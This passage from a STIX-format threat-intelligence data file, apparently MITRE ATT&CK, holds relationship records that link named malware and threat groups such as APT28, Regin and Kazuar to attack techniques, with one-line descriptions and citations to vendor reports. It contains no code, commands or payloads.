            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data collected from the victim mobile device.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5"
        },
        {
            "id": "relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NetTraveler](https://attack.mitre.org/software/S0033) reports window names along with keylogger information to provide application context.(Citation: Kaspersky NetTraveler)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky NetTraveler",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.",
                    "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"
                }
            ],
            "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2020-03-16T17:20:39.755Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5406867b-20fe-43e3-bd64-6816ba340b60",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
            "type": "relationship",
            "modified": "2021-01-06T19:32:29.093Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that creates a new service for persistence.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.434Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--47f580c1-77ea-48a6-a280-71bbcb4707d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4",
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: NCC Group APT15 Alive and Strong)",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.314Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ca429946-3c81-4773-8254-108dbdbb9da9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used various methods of process injection including hot patching.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.158Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to modify remote Registry information.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.342Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has stored captured credential information in a file named pi.log.(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:29:57.772Z",
            "created": "2017-05-31T21:33:27.040Z"
        },
        {
            "id": "relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses HTTP POST requests.(Citation: Sofacy Komplex Trojan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:40:36.739Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Most [Sakula](https://attack.mitre.org/software/S0074) samples maintain persistence by setting the Registry Run key <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> in the HKLM or HKCU hive, with the Registry value and file name varying by sample.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.447Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--aee59ac6-e6e6-4b35-b2ce-4e529d4efc4b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:41:19.008Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from local systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.311Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--03be081b-574e-4ffd-807a-99163b6a6fa2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve information about the Windows domain.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.557Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2f5f2d31-739e-4dc5-b137-840401985244",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a keylogger component.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:39:57.075Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--80383098-470f-4293-b4b1-90c4362be307",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can upload files.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-02-11T19:38:06.218Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a temporary user on the system named \u201cLost_{Unique Identifier}.\u201d(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.673Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                },
                {
                    "source_name": "CameraShy",
                    "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.",
                    "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.336Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "id": "relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "source_name": "Microsoft SIR Vol 21"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha",
                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Wingbird Nov 2017"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-10-30T12:41:29.036Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.(Citation: Palo Alto CVE-2015-3113 July 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto CVE-2015-3113 July 2015",
                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                }
            ],
            "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-18T20:44:39.391Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used pass the hash for lateral movement.(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "type": "relationship",
            "modified": "2019-12-20T14:26:01.168Z",
            "created": "2017-05-31T21:33:27.040Z"
        },
        {
            "id": "relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cachedump](https://attack.mitre.org/software/S0119) can extract cached password hashes from cache entry information.(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "type": "relationship",
            "modified": "2020-03-19T22:25:13.979Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can execute commands on the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:53:55.320Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6e757efa-8231-4674-a1ea-e234e2dfb838",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) actors obtained a list of active processes on the victim and sent them to C2 servers.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.872Z",
            "created": "2017-05-31T21:33:27.055Z"
        },
        {
            "id": "relationship--79852ad8-86ff-4747-97c0-1c7faa5fa69d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) captures images from the webcam.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.699Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0634c754-9660-414f-8304-d9d92e37a0ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) stages the output from command execution and collected files in specific folders before exfiltration.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:22:56.357Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--750ca5b8-6142-46c0-9c40-f04dc9036bb9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) establishes persistence in the Startup folder.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.036Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--65eff720-b419-4e73-8f6c-c3dd07b78484",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) performs a reflective DLL injection using a given pid.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.746Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--add09428-6eda-4cb2-8817-008038ed4f00",
